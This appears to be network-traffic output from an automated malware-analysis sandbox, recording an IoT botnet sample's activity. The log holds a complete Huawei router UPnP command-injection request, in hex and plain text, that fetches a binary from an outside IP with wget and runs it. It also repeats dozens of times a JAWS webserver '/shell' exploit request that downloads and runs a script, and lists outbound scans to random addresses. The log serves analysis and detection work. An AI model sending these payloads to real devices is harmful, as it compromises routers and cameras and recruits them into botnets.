Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 38.114.7.108
Source: unknown	TCP traffic detected without corresponding DNS query: 112.141.173.28
Source: unknown	TCP traffic detected without corresponding DNS query: 207.157.41.28
Source: unknown	TCP traffic detected without corresponding DNS query: 175.36.18.170
Source: unknown	TCP traffic detected without corresponding DNS query: 151.170.191.154
Source: unknown	TCP traffic detected without corresponding DNS query: 151.56.241.31
Source: unknown	TCP traffic detected without corresponding DNS query: 144.52.107.24
Source: unknown	TCP traffic detected without corresponding DNS query: 163.155.116.239
Source: unknown	TCP traffic detected without corresponding DNS query: 85.231.229.188
Source: unknown	TCP traffic detected without corresponding DNS query: 17.250.91.183
Source: unknown	TCP traffic detected without corresponding DNS query: 108.140.146.147
Source: unknown	TCP traffic detected without corresponding DNS query: 173.181.189.228
Source: unknown	TCP traffic detected without corresponding DNS query: 122.148.140.190
Source: unknown	TCP traffic detected without corresponding DNS query: 150.181.173.225
Source: unknown	TCP traffic detected without corresponding DNS query: 35.122.63.16
Source: unknown	TCP traffic detected without corresponding DNS query: 147.78.84.141
Source: unknown	TCP traffic detected without corresponding DNS query: 153.83.109.219
Source: unknown	TCP traffic detected without corresponding DNS query: 51.156.239.173
Source: unknown	TCP traffic detected without corresponding DNS query: 94.50.141.244
Source: unknown	TCP traffic detected without corresponding DNS query: 178.217.5.22
Source: unknown	TCP traffic detected without corresponding DNS query: 132.32.186.108
Source: unknown	TCP traffic detected without corresponding DNS query: 95.51.226.164
Source: unknown	TCP traffic detected without corresponding DNS query: 37.181.215.63
Source: unknown	TCP traffic detected without corresponding DNS query: 139.182.82.91
Source: unknown	TCP traffic detected without corresponding DNS query: 198.137.128.175
Source: unknown	TCP traffic detected without corresponding DNS query: 153.158.28.8
Source: unknown	TCP traffic detected without corresponding DNS query: 222.209.150.33
Source: unknown	TCP traffic detected without corresponding DNS query: 80.129.205.180
Source: unknown	TCP traffic detected without corresponding DNS query: 106.212.24.177
Source: unknown	TCP traffic detected without corresponding DNS query: 207.58.89.49
Source: unknown	TCP traffic detected without corresponding DNS query: 159.26.209.223
Source: unknown	TCP traffic detected without corresponding DNS query: 39.214.51.249
Source: unknown	TCP traffic detected without corresponding DNS query: 179.7.190.239
Source: unknown	TCP traffic detected without corresponding DNS query: 196.252.226.169
Source: unknown	TCP traffic detected without corresponding DNS query: 165.198.243.105
Source: unknown	TCP traffic detected without corresponding DNS query: 198.168.242.37
Source: unknown	TCP traffic detected without corresponding DNS query: 74.91.135.35
Source: unknown	TCP traffic detected without corresponding DNS query: 37.184.6.218
Source: unknown	TCP traffic detected without corresponding DNS query: 118.151.23.151
Source: unknown	TCP traffic detected without corresponding DNS query: 108.104.198.219
Source: unknown	TCP traffic detected without corresponding DNS query: 2.223.86.224
Source: unknown	TCP traffic detected without corresponding DNS query: 93.109.67.30
Source: unknown	TCP traffic detected without corresponding DNS query: 31.120.236.139
Source: unknown	TCP traffic detected without corresponding DNS query: 171.216.222.154
Source: unknown	TCP traffic detected without corresponding DNS query: 9.164.2.0
Source: unknown	TCP traffic detected without corresponding DNS query: 157.173.155.208
Source: unknown	TCP traffic detected without corresponding DNS query: 1.240.253.96
Source: unknown	TCP traffic detected without corresponding DNS query: 25.42.120.173
Source: unknown	TCP traffic detected without corresponding DNS query: 76.7.242.222
Source: unknown	TCP traffic detected without corresponding DNS query: 72.158.13.10

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
